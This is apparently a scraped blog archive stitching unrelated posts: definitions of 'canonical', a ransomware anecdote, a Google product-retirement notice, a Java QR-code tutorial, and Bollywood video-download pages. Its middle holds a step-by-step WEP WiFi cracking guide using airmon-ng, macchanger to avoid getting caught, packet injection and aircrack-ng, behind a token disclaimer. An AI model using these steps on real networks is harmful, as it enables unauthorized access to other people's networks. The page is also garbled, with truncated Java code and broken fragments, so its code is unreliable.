Archive for the ‘Uncategorized’ Category

What does the word canonical mean?

(adj.) Authoritative or standard; conforming to an accepted rule or procedure. When referring to programming, canonical means conforming to well-established patterns or rules. The term is typically used to describe whether or not a programming interface follows the already established standard.

What is a canonical schema?

In software engineering, Canonical Schema is a design pattern, applied within the service-orientation design paradigm, which aims to reduce the need for performing data model transformation when services exchange messages that reference the same data model.

What is a canonical model?

A canonical model is a design pattern used to communicate between different data formats. A form of enterprise application integration, it is intended to reduce costs and standardize on agreed data definitions associated with integrating business systems.

What is a canonical format?

In mathematics and computer science, a canonical, normal, or standard form of a mathematical object is a standard way of presenting that object as a mathematical expression. … In this context, a canonical form is a representation such that every object has a unique representation.
Read More: Canonical form – Wikipedia

What is canonical in Linux?

Canonical Ltd. is a UK-based privately held computer software company founded and funded by South African entrepreneur Mark Shuttle worth to market commercial support and related services for Ubuntu and related projects.
Ransomware Attack last year 18th April, 2016 @ 4:00 PM

Ransomware Attack last year 18th April, 2016 @ 4:00 PM

#Ransomware Attack last year 18th April, 2016 @ 4:00 PM My partner attacked by that Virus by email with subject “Detail invoice”. And He though it’s something important and just opened . Suddenly all files in his laptop start encrypted and renamed like document.docx.locky and our Company (Madina Micro Systems) Confidential Files which are shared…

Read more:

We’re retiring Google Affiliate Network effective July 31, 2013. We’ll continue to support customers over the next few months.

Our goal with Google Affiliate Network has been to help advertisers and publishers improve their performance across the affiliate ecosystem. Cost-per-action (CPA) marketing has rapidly evolved in the last few years, and we’ve invested significantly in CPA tools like Product Listing Ads, remarketing and Conversion Optimizer. We’re constantly evaluating our products to ensure that we’re focused on the services that will have the biggest impact for our advertisers and publishers.

To that end, we’ve made the difficult decision to retire Google Affiliate Network and focus on other products that are driving great results for clients.

We’ll continue to support our customers as we wind down the product over the next few months. And there are other products that can help you achieve your goals. Affiliate publishers can continue to earn AdSense revenue through the AdSense network. And marketers can take advantage of other CPA-oriented Google tools like Product Listing Ads, remarketing and Conversion Optimizer to drive valuable online sales and conversions. These areas are growing rapidly and we’re continuing to invest heavily in them.

Thanks for your support of our affiliate product, and we look forward to helping you grow your business in the future.

Posted by: J.J. Hirschle, Head of Google Affiliate Network


wifi-hackedWifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections (as if you didnt know..),Wifi has become an integral part of our lives today. Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN’s by encrypting data over radio waves,however, it has been found that WEP is not as secure as once believed.Now almost anyone can hack into a Wifi network by generating the valid WEP key using Bactrack. Read on to learn how..

Disclaimer: This tutorial is given for educational purposes only and that for any misuse of this information; the blogger cannot be held liable.


BackTrack is a slax based top rated Linux live distribution focused on penetration testing which consists of more than 300 up to date tools along with the ability of customizing scripts, configuring and modding kernels which makes it a true gem and a must have for every security enthusiastic out there. The best part – Its free and you can download it from – Remote Exploit


Boot up Backtrack on your virtual machine/laptop and open up the command console and type the commands as they are given –


This is the Linux equivalent of ipconfig, you will see the network adaptors in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.


This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range.

airmon-ng stop [Wi-Fi Card name(without the quotes)]

This command will stop the cards broadcast and reception immediately

macchanger –mac [Desired MAC address] [Wi-Fi card name]

This command will change the current MAC address to any MAC address you desire, so that you don’t get caught later

airmon-ng start [Wi-Fi Card name]

You will see another extra adaptor that is set on monitor mode, use that adaptor for all further purposes in the following commands where – “[Wi-Fi card name]” appears


Once you have set up all the parameters, you need to sniff and dump data packets in order to get the key. You can do so by using following commands. On the command console type these commands –

airodump-ng [Wi-Fi card name]

Copy and paste the BSSID in the following command and execute it

airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]

As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (Click on Computer and you will see the file).The file will be present in two formats: *.cap, *.txt.


However packet dumping is quite a slow process, we need to speed up things to save our time. Open new console after the first data packet has been stored and type the command in the new console and execute it.

airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]

As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.


Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.

aircrack-ng –n 64 –b [BSSID] [Filename without the extension]

wep-wifi-hackedAs you type this command, you will see that a key will appear in front of you in the given below format:

It is not necessary that the key should have exactly the same digits as shown above so please don’t freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:

aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]

Remember, the bit level should be a number of 2n where n:1,2,3,4…

aircrack-ng –n 32 –b [BSSID] [Filename without the extension] 
aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.

Now just login using the WEP key you got.

Enhanced by Zemanta

Nowadays, Quick Response (QR) Codes are becoming more and more useful as they have gone mainstream, thanks to the smart phones. Right from the bus shelter, product packaging, home improvement store,

automobile, a lot of internet websites are integrating QR Codes on their pages to let people quickly reach them. With increase in number of users of smart phones day by day, the QR codes usage is going up exponentially.

Let us see a quick overview of Quick Response (QR) codes and also how to generate these codes in Java.

Introduction to QR Codes

A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) first designed for the automotive industry. More recently, the system has become popular outside of the industry due to its fast readability and comparatively large storage capacity. The code consists of black modules arranged in a square pattern on a white background. The information encoded can be made up of four standardized kinds (“modes”) of data (numeric, alphanumeric, byte/binary, Kanji), or by supported extensions virtually any kind of data.

Created by Toyota subsidiary Denso Wave in 1994 to track vehicles during the manufacturing process, the QR code is one of the most popular types of two-dimensional barcodes. It was designed to allow its contents to be decoded at high speed.

Hello World QR Code in Java

Zebra Crossing (ZXing) is an awesome open source library that one can use to generate / parse QR Codes in almost all the platforms (Android, JavaSE, IPhone, RIM, Symbian etc). But if you have to generate simple QR Codes, I found it a bit clumsy to implement.

However QRGen is a good library that creates a layer on top of ZXing and makes QR Code generation in Java a piece of cake. It has a dependency on ZXing, so you would need ZXing jar files along with QRGen to create QR Codes in Java.

On the download page of ZXing, you will not find the JAR files. Instead we have to create JAR files using the source code. I have already generated these JAR files. Here are the links:

zxing-core-1.7.jar (346 KB)
zxing-javase-1.7.jar (21 KB)

Also download the QRGen JAR File from their download page.

Include these JAR files in your Classpath and execute following Java code to generate QR Code.

package net.viralpatel.qrcode;
import net.glxn.qrgen.QRCode;
import net.glxn.qrgen.image.ImageType;
public class Main {
    public static void main(String[] args) {
        ByteArrayOutputStream out = QRCode.from("Hello World")
        try {
            FileOutputStream fout = new FileOutputStream(new File(
        } catch (FileNotFoundException e) {
            // Do Logging
        } catch (IOException e) {
            // Do Logging

The code is pretty straight forward. We used QRCode class to generate QR Code Stream and write the byte stream to a file C:QR_Code.JPG.

Download Source Code (339 KB)

If you open this JPEG file and scan using your iPhone or Android QR scanner, you’ll find a cool “Hello World” in it :)

Apart from generating Sterams of data using QRGen API, we can also use below APIs to create QR Codes:

// get QR file from text using defaults
File file = QRCode.from("Hello World").file();
// get QR stream from text using defaults
ByteArrayOutputStream stream = QRCode.from("Hello World").stream();
// override the image type to be JPG
QRCode.from("Hello World").to(ImageType.JPG).file();
QRCode.from("Hello World").to(ImageType.JPG).stream();
// override image size to be 250x250
QRCode.from("Hello World").withSize(250, 250).file();
QRCode.from("Hello World").withSize(250, 250).stream();
// override size and image type
QRCode.from("Hello World").to(ImageType.GIF).withSize(250, 250).file();
QRCode.from("Hello World").to(ImageType.GIF).withSize(250, 250).stream();

Website Link (URLs) QR Code in Java

One of the most common use of a QR Code is to bring traffic to a particular webpage or download page of website. Thus QR Code encodes a URL or website address which a user can scan using phone camera and open in their browser. URLs can be straight forward included in QR Codes. In above Java Hello World example, just replace “Hello World” string with the URL you want to encode in QR Code. Below is the code snippet:

ByteArrayOutputStream out = QRCode.from("")

QR Code in Servlet

Most of the time you would need to generate QR Codes dynamically in some website. We already saw how easy it is to generate QR code in Java. Now we will see how to integrate this QR Code generation in a Java Servlet.

Following is a simple Http Servlet that creates QR Code using QRGen and ZXing library. User provides the text for which QR Code is generated.

The index jsp file contains a simple html form with a textbox and submit button. User can enter the text that she wishes to generate QR code of and presses submit.

File: index.jsp

<title>QR Code in Java Servlet -</title>
    <form action="qrservlet" method="get">
        <p>Enter Text to create QR Code</p>
        <input type="text" name="qrtext" />
        <input type="submit" value="Generate QR Code" />

The magic happens in Here we uses QRGen library along with ZXing and generates QR Code for given text (Text we get from request.getParameter). Once the QR Stream is generated, we write this to response and set appropriate content type.


package net.viralpatel.qrcodes;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import net.glxn.qrgen.QRCode;
import net.glxn.qrgen.image.ImageType;
public class QRCodeServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request,
            HttpServletResponse response) throws ServletException, IOException {
        String qrtext = request.getParameter("qrtext");
        ByteArrayOutputStream out = QRCode.from(qrtext).to(
        OutputStream outStream = response.getOutputStream();

The below web.xml simply maps with /qrservlet URL.

File: web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi=""
        id="WebApp_ID" version="2.5">

Download Source Code (340 KB)






Generating QR Codes in Java is not only easy, but quite straight forward. Integrating this functionality with any existing Java based app is just a piece of cake! In this tutorial we saw how to generate these QR codes in Java and also with Servlet.

Hope you’ll like this :)

Enhanced by Zemanta

 Shootout At Wadala Video Songs Download

Download 720p HD Videos

Details: Download complete Shootout At Wadala 720p HD Music Video in 720p with Blu Ray like high quality. Shootout At Wadala film features John Abraham, Anil Kapoor, Kangna Ranaut, Tushaar Kapoor, Manoj Bajpai, Sonu Sood a in lead roles. Whereas music of Shootout At Wadala is directed by: Various.
To download videos:
1. First, click on the Song Link below.
2. On next page, Rightclick on the “Download” link and select “Save Target As…” to download the song to your PC.

Video Song:

Babli Badmaash – Full Video HD

Movie / Artist:

Shootout At Wadala

Format / Bitrate: wmv / 4000 Kbps
Like this Video:
Sponsored Ads

Click Here To Download

Enhanced by Zemanta

:: I Love New Year ::

Posted: March 22, 2013 in Songs, Uncategorized

I Love New Year Video Songs Download

Video Song:

Aao Na – Full Video HD

Movie / Artist:

I Love New Year

Format / Bitrate: wmv / 4000 Kbps
Like this Video:
Sponsored Ads

Click Here To Download

:: Commando ::

Posted: March 22, 2013 in Songs, Uncategorized

Download 720p HD Videos

Details: Download complete Commando 720p HD Music Video in 720p with Blu Ray like high quality. Commando film features Vidyut Jammwal, Pooja Chopra, Jaideep Ahlawat a in lead roles. Whereas music of Commando is directed by: Various.
To download videos:
1. First, click on the Song Link below.
2. On next page, Rightclick on the “Download” link and select “Save Target As…” to download the song to your PC.
Details: Download complete Commando 720p HD Music Video in 720p with Blu Ray like high quality. Commando film features Vidyut Jammwal, Pooja Chopra, Jaideep Ahlawat a in lead roles. Whereas music of Commando is directed by: Various.

Video Song:

Loot Jawaan – Full Video HD

Movie / Artist:


Format / Bitrate: wmv / 4000 Kbps
Like this Video:
Sponsored Ads

Click Here To Download

Note: Rightclick and select “Save Target As...” or “Save Link As…” to download the file to your PC.

Video Song:

Saawan Bairi – Full Video HD

Movie / Artist:


Format / Bitrate: wmv / 4000 Kbps
Like this Video:
Sponsored Ads

Click Here To Download